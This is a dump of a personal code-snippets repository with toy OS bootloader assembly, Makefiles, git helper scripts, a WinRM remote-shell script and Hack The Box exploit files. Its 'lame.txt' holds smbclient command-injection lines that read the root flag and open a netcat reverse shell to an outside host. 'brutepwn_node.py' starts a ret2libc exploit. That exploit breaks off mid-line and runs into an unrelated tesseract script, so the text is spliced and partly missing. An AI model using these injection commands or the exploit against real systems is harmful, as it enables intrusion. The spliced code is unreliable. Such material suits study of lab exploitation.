├── .gitignore
├── hacking
└── HTB
│ ├── Nightmare
│ ├── __init__.py
│ ├── request.txt
│ └── nightmare_tamper.py
│ ├── Fulcrum
│ └── socat
│ ├── Reddish
│ └── socat
│ ├── LaCasaDePapel
│ ├── hook64.so
│ └── autopwn_lacasadepapel.py
│ ├── Tally
│ ├── cve2017213ps.cpp
│ └── cve2017213ps.exe
│ ├── Lame
│ └── lame.txt
│ ├── Node
│ └── brutepwn_node.py
│ ├── Enterprise
│ └── pwn_lcars.py
│ ├── FluxCapacitor
│ └── autopwn_flux.py
│ ├── Sense
│ └── autopwn_sense.py
│ └── Nineveh
│ └── lfiphpinfo.py
├── README.md
├── os
├── part1
│ ├── kernel
│ │ └── kernel.asm
│ ├── stage2
│ │ └── bootstage2.asm
│ ├── run.sh
│ ├── os.bin
│ ├── Makefile
│ ├── os.asm
│ └── stage1
│ │ ├── print.asm
│ │ ├── bootstage1.asm
│ │ └── disk.asm
├── part2
│ ├── run.sh
│ ├── os.bin
│ ├── Makefile
│ ├── os.asm
│ ├── kernel
│ │ └── kernel.asm
│ ├── stage2
│ │ ├── bootstage2.asm
│ │ ├── longmode.asm
│ │ └── pic.asm
│ └── stage1
│ │ ├── print.asm
│ │ ├── bootstage1.asm
│ │ └── disk.asm
├── part3
│ ├── run.sh
│ ├── os.bin
│ ├── Makefile
│ ├── os.asm
│ ├── stage2
│ │ ├── bootstage2.asm
│ │ ├── longmode.asm
│ │ ├── pic.asm
│ │ └── paging.asm
│ ├── stage1
│ │ ├── print.asm
│ │ ├── bootstage1.asm
│ │ └── disk.asm
│ └── kernel
│ │ ├── kernel.asm
│ │ ├── isr.asm
│ │ └── video.asm
├── part4
│ ├── run.sh
│ ├── os.bin
│ ├── Makefile
│ ├── os.asm
│ ├── stage2
│ │ ├── bootstage2.asm
│ │ ├── longmode.asm
│ │ ├── pic.asm
│ │ └── paging.asm
│ ├── stage1
│ │ ├── print.asm
│ │ ├── bootstage1.asm
│ │ └── disk.asm
│ └── kernel
│ │ ├── kernel.asm
│ │ └── video.asm
└── part5
│ ├── run.sh
│ ├── os.bin
│ ├── Makefile
│ ├── os.asm
│ ├── stage2
│ ├── bootstage2.asm
│ ├── longmode.asm
│ ├── e280_mapping.asm
│ ├── pic.asm
│ └── paging.asm
│ ├── stage1
│ ├── print.asm
│ ├── bootstage1.asm
│ └── disk.asm
│ └── kernel
│ └── kernel.asm
├── kivy
├── dlgback_red.png
└── dlgback_green.png
├── nl80211_info
├── nl80211_info
└── makefile
├── raspberry_pi_os
└── part1
│ ├── run.sh
│ ├── kernel8.img
│ ├── config.txt
│ ├── Makefile
│ ├── linker.ld
│ ├── uart.S
│ └── boot.S
├── shutdown_manager
├── images
│ ├── Lock.png
│ ├── Sleep.png
│ ├── Cancel.png
│ ├── Logout.png
│ ├── Reboot.png
│ ├── Shutdown.png
│ ├── Hibernate.png
│ ├── Restart WM.png
│ └── Sleep + Hibernate.png
├── shutdown-manager-plain
└── shutdown-manager-plain-gtk3
├── graphics
└── SutherlandHodgman
│ ├── Linux
│ ├── SutherlandHodgman1
│ ├── SutherlandHodgman2
│ ├── makefile
│ └── zpr.h
│ ├── Windows
│ ├── SutherlandHodgman.zip
│ └── SutherlandHodgman
│ │ ├── lib
│ │ ├── glew32.lib
│ │ ├── glew32s.lib
│ │ ├── freeglut.lib
│ │ └── x64
│ │ │ ├── glew32.lib
│ │ │ ├── freeglut.lib
│ │ │ └── glew32s.lib
│ │ ├── Release
│ │ ├── glew32.dll
│ │ ├── freeglut.dll
│ │ └── SutherlandHodgman.exe
│ │ ├── x64
│ │ └── Release
│ │ │ ├── glew32.dll
│ │ │ ├── freeglut.dll
│ │ │ └── SutherlandHodgman.exe
│ │ ├── SutherlandHodgman.vcxproj.user
│ │ ├── include
│ │ └── GL
│ │ │ ├── glut.h
│ │ │ └── freeglut.h
│ │ ├── SutherlandHodgman.sln
│ │ ├── zpr.h
│ │ └── SutherlandHodgman.vcxproj.filters
│ └── README.md
├── crypto
├── ebola_challenge_info_[use_flag_for_password].zip
├── xor_encrypted_text.bin
├── cordova-aes.py
└── xorknown.py
├── hg_git
├── h
├── g
├── git-init-bitbucket-repo
└── hg-init-bitbucket-repo
├── xkb
└── 10-keyboard.conf
├── winrm
├── winrm_shell.rb
└── winrm_shell_with_upload.rb
├── tesseract
└── tesseract_train.sh
├── linker.ld
├── LICENSE
├── share_internet
└── share_internet_simpe.sh
├── path_traversal
├── path_traversal_archiver.nim
└── path_traversal_archiver.py
├── outlook
└── get_outlook_forwarding_rules.ps1
├── enum
└── htbscan.py
├── vms
└── vm_new
├── mssql
└── mssql_shell.py
└── encodings
└── test_encodings.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.o
2 |
--------------------------------------------------------------------------------
/hacking/HTB/Nightmare/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # code-snippets
2 | Various code snippets.
3 |
--------------------------------------------------------------------------------
/os/part1/kernel/kernel.asm:
--------------------------------------------------------------------------------
1 | ; Dummy file
2 |
3 | times 512 db 0
4 |
--------------------------------------------------------------------------------
/os/part1/stage2/bootstage2.asm:
--------------------------------------------------------------------------------
1 | ; Dummy file
2 |
3 | times 512 db 0
4 |
--------------------------------------------------------------------------------
/os/part1/run.sh:
--------------------------------------------------------------------------------
1 | make && qemu-system-x86_64 -m 2M -drive format=raw,file=os.bin
2 |
--------------------------------------------------------------------------------
/os/part2/run.sh:
--------------------------------------------------------------------------------
1 | make && qemu-system-x86_64 -m 2M -drive format=raw,file=os.bin
2 |
--------------------------------------------------------------------------------
/os/part3/run.sh:
--------------------------------------------------------------------------------
1 | make && qemu-system-x86_64 -m 2M -drive format=raw,file=os.bin
2 |
--------------------------------------------------------------------------------
/os/part4/run.sh:
--------------------------------------------------------------------------------
1 | make && qemu-system-x86_64 -m 2M -drive format=raw,file=os.bin
2 |
--------------------------------------------------------------------------------
/os/part5/run.sh:
--------------------------------------------------------------------------------
1 | make && qemu-system-x86_64 -m 2M -drive format=raw,file=os.bin
2 |
--------------------------------------------------------------------------------
/os/part1/os.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/os/part1/os.bin
--------------------------------------------------------------------------------
/os/part2/os.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/os/part2/os.bin
--------------------------------------------------------------------------------
/os/part3/os.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/os/part3/os.bin
--------------------------------------------------------------------------------
/os/part4/os.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/os/part4/os.bin
--------------------------------------------------------------------------------
/os/part5/os.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/os/part5/os.bin
--------------------------------------------------------------------------------
/kivy/dlgback_red.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/kivy/dlgback_red.png
--------------------------------------------------------------------------------
/kivy/dlgback_green.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/kivy/dlgback_green.png
--------------------------------------------------------------------------------
/hacking/HTB/Fulcrum/socat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/hacking/HTB/Fulcrum/socat
--------------------------------------------------------------------------------
/hacking/HTB/Reddish/socat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/hacking/HTB/Reddish/socat
--------------------------------------------------------------------------------
/nl80211_info/nl80211_info:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/nl80211_info/nl80211_info
--------------------------------------------------------------------------------
/raspberry_pi_os/part1/run.sh:
--------------------------------------------------------------------------------
1 | qemu-system-aarch64 -M raspi3b -kernel kernel8.img -serial mon:stdio
2 |
3 |
4 |
--------------------------------------------------------------------------------
/raspberry_pi_os/part1/kernel8.img:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/raspberry_pi_os/part1/kernel8.img
--------------------------------------------------------------------------------
/shutdown_manager/images/Lock.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/shutdown_manager/images/Lock.png
--------------------------------------------------------------------------------
/shutdown_manager/images/Sleep.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/shutdown_manager/images/Sleep.png
--------------------------------------------------------------------------------
/hacking/HTB/LaCasaDePapel/hook64.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/hacking/HTB/LaCasaDePapel/hook64.so
--------------------------------------------------------------------------------
/hacking/HTB/Tally/cve2017213ps.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/hacking/HTB/Tally/cve2017213ps.cpp
--------------------------------------------------------------------------------
/hacking/HTB/Tally/cve2017213ps.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/hacking/HTB/Tally/cve2017213ps.exe
--------------------------------------------------------------------------------
/shutdown_manager/images/Cancel.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/shutdown_manager/images/Cancel.png
--------------------------------------------------------------------------------
/shutdown_manager/images/Logout.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/shutdown_manager/images/Logout.png
--------------------------------------------------------------------------------
/shutdown_manager/images/Reboot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/shutdown_manager/images/Reboot.png
--------------------------------------------------------------------------------
/shutdown_manager/images/Shutdown.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/shutdown_manager/images/Shutdown.png
--------------------------------------------------------------------------------
/shutdown_manager/images/Hibernate.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/shutdown_manager/images/Hibernate.png
--------------------------------------------------------------------------------
/shutdown_manager/images/Restart WM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/shutdown_manager/images/Restart WM.png
--------------------------------------------------------------------------------
/shutdown_manager/images/Sleep + Hibernate.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/shutdown_manager/images/Sleep + Hibernate.png
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Linux/SutherlandHodgman1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Linux/SutherlandHodgman1
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Linux/SutherlandHodgman2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Linux/SutherlandHodgman2
--------------------------------------------------------------------------------
/crypto/ebola_challenge_info_[use_flag_for_password].zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/crypto/ebola_challenge_info_[use_flag_for_password].zip
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman.zip
--------------------------------------------------------------------------------
/os/part1/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: clean, .force-rebuild
2 | all: bootloader.bin
3 |
4 | bootloader.bin: os.asm .force-rebuild
5 | nasm -fbin os.asm -o os.bin
6 |
7 | clean:
8 | rm *.bin
9 |
--------------------------------------------------------------------------------
/os/part2/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: clean, .force-rebuild
2 | all: bootloader.bin
3 |
4 | bootloader.bin: os.asm .force-rebuild
5 | nasm -fbin os.asm -o os.bin
6 |
7 | clean:
8 | rm *.bin
9 |
--------------------------------------------------------------------------------
/os/part3/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: clean, .force-rebuild
2 | all: bootloader.bin
3 |
4 | bootloader.bin: os.asm .force-rebuild
5 | nasm -fbin os.asm -o os.bin
6 |
7 | clean:
8 | rm *.bin
9 |
--------------------------------------------------------------------------------
/os/part4/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: clean, .force-rebuild
2 | all: bootloader.bin
3 |
4 | bootloader.bin: os.asm .force-rebuild
5 | nasm -fbin os.asm -o os.bin
6 |
7 | clean:
8 | rm *.bin
9 |
--------------------------------------------------------------------------------
/os/part5/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: clean, .force-rebuild
2 | all: bootloader.bin
3 |
4 | bootloader.bin: os.asm .force-rebuild
5 | nasm -fbin os.asm -o os.bin
6 |
7 | clean:
8 | rm *.bin
9 |
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/glew32.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/glew32.lib
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/glew32s.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/glew32s.lib
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/Release/glew32.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/Release/glew32.dll
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/freeglut.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/freeglut.lib
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/x64/glew32.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/x64/glew32.lib
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/Release/freeglut.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/Release/freeglut.dll
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/x64/freeglut.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/x64/freeglut.lib
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/x64/glew32s.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/lib/x64/glew32s.lib
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/x64/Release/glew32.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/x64/Release/glew32.dll
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/x64/Release/freeglut.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/x64/Release/freeglut.dll
--------------------------------------------------------------------------------
/hacking/HTB/Lame/lame.txt:
--------------------------------------------------------------------------------
1 | smbclient -U "/=\`nohup cat /root/root.txt > /tmp/ttt\`" -N -I 10.10.10.3 //LAME/tmp
2 |
3 | smbclient -U "/=\`nohup nc -e /bin/sh 10.10.15.11 60000\`" -N -I 10.10.10.3 //LAME/tmp
4 |
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/Release/SutherlandHodgman.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/Release/SutherlandHodgman.exe
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/x64/Release/SutherlandHodgman.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Alamot/code-snippets/HEAD/graphics/SutherlandHodgman/Windows/SutherlandHodgman/x64/Release/SutherlandHodgman.exe
--------------------------------------------------------------------------------
/raspberry_pi_os/part1/config.txt:
--------------------------------------------------------------------------------
1 | arm_64bit=1 # Boot to 64-bit mode
2 | dtoverlay=pi3-disable-bt # Disable bluetooth (to free UART)
3 | enable_uart=1 # Enable UART
4 | os_check=0 # Don't check OS compatibity
5 |
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Linux/makefile:
--------------------------------------------------------------------------------
1 | CXXFLAGS+=-g -Wall -std=c++11
2 | LDLIBS+=-lglut -lGL -lGLU -lGLEW -lm
3 | all: SutherlandHodgman
4 | SutherlandHodgman: SutherlandHodgman.o zpr.o
5 | g++ $(CFLAGS) -o SutherlandHodgman zpr.o $< $(LDLIBS)
6 | clean:
7 | rm -f *.o
8 |
--------------------------------------------------------------------------------
/hg_git/h:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | if [ $# -eq 0 ]
4 | then
5 | echo "No message supplied. Using current date."
6 | hg commit -m "Automatic commit $(date)"
7 | else
8 | str="'$*'"
9 | echo "Message: $str"
10 | bash -c "hg commit -m ${str}"
11 | fi
12 | hg push
13 |
--------------------------------------------------------------------------------
/hg_git/g:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | if [ $# -eq 0 ]
4 | then
5 | echo "No message supplied. Using current date."
6 | git commit -a -m "Automatic commit $(date)"
7 | else
8 | str="'$*'"
9 | echo "Message: $str"
10 | bash -c "git commit -a -m ${str}"
11 | fi
12 | git push origin master
13 |
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/SutherlandHodgman.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | true
5 |
6 |
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/README.md:
--------------------------------------------------------------------------------
1 | # 3D visualization of Sutherland-Hodgman algorithm (polygon clipping)
2 |
3 | ## Controls
4 |
5 | * Rotation: Left mouse click
6 | * Zooming: Middle mouse click
7 | * Panning: Right mouse click
8 | * Proceed to the next step of Sutherland-Hodgman algorithm: Any key in the keyboard (except Esc)
9 | * Exit: Esc
10 |
--------------------------------------------------------------------------------
/os/part1/os.asm:
--------------------------------------------------------------------------------
1 | stage1_start:
2 | times 90 db 0 ; BPB (BIOS Parameter Block) will go here
3 | %include "stage1/bootstage1.asm"
4 | stage1_end:
5 |
6 | stage2_start:
7 | %include "stage2/bootstage2.asm"
8 | align 512, db 0
9 | stage2_end:
10 |
11 | kernel_start:
12 | %include "kernel/kernel.asm"
13 | align 512, db 0
14 | kernel_end:
15 |
--------------------------------------------------------------------------------
/os/part2/os.asm:
--------------------------------------------------------------------------------
1 | stage1_start:
2 | times 90 db 0 ; BPB (BIOS Parameter Block) will go here
3 | %include "stage1/bootstage1.asm"
4 | stage1_end:
5 |
6 | stage2_start:
7 | %include "stage2/bootstage2.asm"
8 | align 512, db 0
9 | stage2_end:
10 |
11 | kernel_start:
12 | %include "kernel/kernel.asm"
13 | align 512, db 0
14 | kernel_end:
15 |
--------------------------------------------------------------------------------
/os/part3/os.asm:
--------------------------------------------------------------------------------
1 | stage1_start:
2 | times 90 db 0 ; BPB (BIOS Parameter Block) will go here
3 | %include "stage1/bootstage1.asm"
4 | stage1_end:
5 |
6 | stage2_start:
7 | %include "stage2/bootstage2.asm"
8 | align 512, db 0
9 | stage2_end:
10 |
11 | kernel_start:
12 | %include "kernel/kernel.asm"
13 | align 512, db 0
14 | kernel_end:
15 |
--------------------------------------------------------------------------------
/os/part4/os.asm:
--------------------------------------------------------------------------------
1 | stage1_start:
2 | times 90 db 0 ; BPB (BIOS Parameter Block) will go here
3 | %include "stage1/bootstage1.asm"
4 | stage1_end:
5 |
6 | stage2_start:
7 | %include "stage2/bootstage2.asm"
8 | align 512, db 0
9 | stage2_end:
10 |
11 | kernel_start:
12 | %include "kernel/kernel.asm"
13 | align 512, db 0
14 | kernel_end:
15 |
--------------------------------------------------------------------------------
/os/part5/os.asm:
--------------------------------------------------------------------------------
1 | ; Author: Alamot
2 |
3 | stage1_start:
4 | times 90 db 0 ; BPB (BIOS Parameter Block) will go here
5 | %include "stage1/bootstage1.asm"
6 | stage1_end:
7 |
8 | stage2_start:
9 | %include "stage2/bootstage2.asm"
10 | align 512, db 0
11 | stage2_end:
12 |
13 | kernel_start:
14 | %include "kernel/kernel.asm"
15 | align 512, db 0
16 | kernel_end:
17 |
--------------------------------------------------------------------------------
/raspberry_pi_os/part1/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: clean, .force-rebuild
2 | all: kernel8.img
3 |
4 | kernel8.img: boot.S uart.S .force-rebuild
5 | aarch64-linux-gnu-as -o boot.o boot.S
6 | aarch64-linux-gnu-as -o uart.o uart.S
7 | aarch64-linux-gnu-ld -T linker.ld -o kernel.elf boot.o uart.o
8 | aarch64-linux-gnu-objcopy -O binary kernel.elf kernel8.img
9 |
10 | clean:
11 | rm *.o
12 | rm *.elf
13 | rm *.img
14 |
--------------------------------------------------------------------------------
/xkb/10-keyboard.conf:
--------------------------------------------------------------------------------
1 |
2 | Section "InputClass"
3 | Identifier "keyboard-all"
4 | Driver "evdev"
5 | Option "XkbLayout" "us,gr,ru"
6 | Option "XkbModel" "microsoft"
7 | Option "XkbRules" "xorg"
8 | Option "XkbOptions" "grp:caps_toggle,grp_led:scroll,terminate:ctrl_alt_bksp"
9 | Option "XkbVariant" "altgr-intl,,phonetic_winkeys"
10 | MatchIsKeyboard "on"
11 | EndSection
12 |
--------------------------------------------------------------------------------
/nl80211_info/makefile:
--------------------------------------------------------------------------------
1 | CC=gcc
2 | LDFLAGS=$(shell pkg-config --libs libnl-genl-3.0)
3 | DEBUG_FLAGS=-DDEBUG=1 -std=c99 -Wall -Wextra -Wpedantic -g
4 | FLAGS=-std=c99 -Wall -Wpedantic -Wno-unused-parameter
5 | ifeq (${DEBUG},1)
6 | FLAGS+=${DEBUG_FLAGS}
7 | endif
8 | FLAGS += $(shell pkg-config --cflags libnl-genl-3.0)
9 |
10 | nl80211_info: nl80211_info.o
11 | ${CC} -o $@ nl80211_info.o ${LDFLAGS} ${FLAGS}
12 |
13 | nl80211_info.o: nl80211_info.c
14 | ${CC} -o $@ -c $< ${FLAGS}
15 |
16 | clean:
17 | rm -rf *.o
18 |
--------------------------------------------------------------------------------
/hacking/HTB/Nightmare/request.txt:
--------------------------------------------------------------------------------
1 | POST /register.php HTTP/1.1
2 | Host: 10.10.10.66
3 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
4 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 | Accept-Language: en-US,en;q=0.5
6 | Referer: http://10.10.10.66/register.php
7 | Cookie: PHPSESSID=542o6dt0740orfbgg6kbujl8b5
8 | Connection: close
9 | Content-Type: application/x-www-form-urlencoded
10 | Content-Length: 105
11 |
12 | user=admin&pass=pass®ister=Register
--------------------------------------------------------------------------------
/winrm/winrm_shell.rb:
--------------------------------------------------------------------------------
1 | require 'winrm'
2 |
3 | # Author: Alamot
4 |
5 | conn = WinRM::Connection.new(
6 | endpoint: 'https://IP:PORT/wsman',
7 | transport: :ssl,
8 | user: 'username',
9 | password: 'password',
10 | :no_ssl_peer_verification => true
11 | )
12 |
13 | command=""
14 |
15 | conn.shell(:powershell) do |shell|
16 | until command == "exit\n" do
17 | output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
18 | print(output.output.chomp)
19 | command = gets
20 | output = shell.run(command) do |stdout, stderr|
21 | STDOUT.print stdout
22 | STDERR.print stderr
23 | end
24 | end
25 | puts "Exiting with code #{output.exitcode}"
26 | end
27 |
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/include/GL/glut.h:
--------------------------------------------------------------------------------
1 | #ifndef __GLUT_H__
2 | #define __GLUT_H__
3 |
4 | /*
5 | * glut.h
6 | *
7 | * The freeglut library include file
8 | *
9 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
10 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
11 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
12 | * PAWEL W. OLSZTA BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
13 | * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
14 | * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
15 | */
16 |
17 | #include "freeglut_std.h"
18 |
19 | /*** END OF FILE ***/
20 |
21 | #endif /* __GLUT_H__ */
22 |
--------------------------------------------------------------------------------
/graphics/SutherlandHodgman/Windows/SutherlandHodgman/include/GL/freeglut.h:
--------------------------------------------------------------------------------
1 | #ifndef __FREEGLUT_H__
2 | #define __FREEGLUT_H__
3 |
4 | /*
5 | * freeglut.h
6 | *
7 | * The freeglut library include file
8 | *
9 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
10 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
11 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
12 | * PAWEL W. OLSZTA BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
13 | * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
14 | * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
15 | */
16 |
17 | #include "freeglut_std.h"
18 | #include "freeglut_ext.h"
19 |
20 | /*** END OF FILE ***/
21 |
22 | #endif /* __FREEGLUT_H__ */
23 |
--------------------------------------------------------------------------------
/os/part2/kernel/kernel.asm:
--------------------------------------------------------------------------------
1 | ; Author: Alamot
2 |
3 | BITS 64 ; We have entered the long mode! :)
4 |
5 | ;---Constants-------------------------------------------------------------------
6 | VRAM equ KERNEL_VIRT_BASE + 0xB8000
7 |
8 | ;---Code------------------------------------------------------------------------
9 | Kernel_entrypoint:
10 | ;********************************************************************;
11 | ; Just some dummy code for now ;
12 | ;********************************************************************;
13 | ; Set RDI to point to Video RAM (KERNEL_VIRT_BASE + 0xB8000)
14 | mov rdi, VRAM
15 |
16 | ; Print "Hello World!"
17 | mov rax, 0x1F6C1F6C1F651F48
18 | mov [rdi], rax
19 | mov rax, 0x1F6F1F571F201F6F
20 | mov [rdi + 8], rax
21 | mov rax, 0x1F211F641F6C1F72
22 | mov [rdi + 16], rax
23 |
24 | .halt: hlt
25 | jmp .halt ; Infinite loop.
26 |
27 |
--------------------------------------------------------------------------------
/hg_git/git-init-bitbucket-repo:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | if [ "$#" -ne 2 ]; then
4 | echo "Usage: ${0##*/} bitbucket_username(not email) repository_name" >&2
5 | exit 1
6 | fi
7 | username="$1"
8 | reponame="$2"
9 | printf "\nPlease insert Bitbucket password: "
10 | read -s password
11 |
12 | #Create repo using curl and Bitbucket REST API v2.0
13 | curl -X POST -v -u $username:$password -H "Content-Type: application/json" \
14 | https://api.bitbucket.org/2.0/repositories/$username/$reponame \
15 | -d '{"scm": "git", "is_private": "true", "fork_policy": "no_public_forks" }'
16 |
17 | printf "\nRemote repository https://$username@bitbucket.org/$username/$reponame.git created\n\n"
18 |
19 | git init
20 | git add .
21 | git commit -a -m "Initial automatic commit $(date)"
22 | git remote add origin https://$username@bitbucket.org/$username/$reponame.git
23 |
24 | #If you want to store the password uncomment the next line
25 | #git config credential.helper store
26 |
27 | git push -u origin master
28 |
29 | printf "\nFinished\n\n"
30 |
--------------------------------------------------------------------------------
/hacking/HTB/Node/brutepwn_node.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 | import struct
3 | from subprocess import call
4 |
5 | libc_base_addr = 0xf752c000 # ldd /usr/local/bin/backup (choose an average value)
6 | exit_off = 0x0002e7b0 # readelf -s /lib32/libc.so.6 | grep exit
7 | system_off = 0x0003a940 # readelf -s /lib32/libc.so.6 | grep system
8 | system_addr = libc_base_addr + system_off
9 | exit_addr = libc_base_addr + exit_off
10 | system_arg = libc_base_addr + 0x15900b # strings -a -t x /lib32/libc.so.6 | grep '/bin/sh'
11 |
12 | #endianess convertion
13 | def conv(num):
14 | return struct.pack(" font_properties # tell Tesseract informations about the font
18 | mftraining -F font_properties -U unicharset -O hsk.unicharset `wrap $N "hsk.ocrb.exp" ".tr"`
19 | cntraining `wrap $N "hsk.ocrb.exp" ".tr"`
20 | # rename all files created by mftraing en cntraining, add the prefix hsk.:
21 | mv inttemp hsk.inttemp
22 | mv normproto hsk.normproto
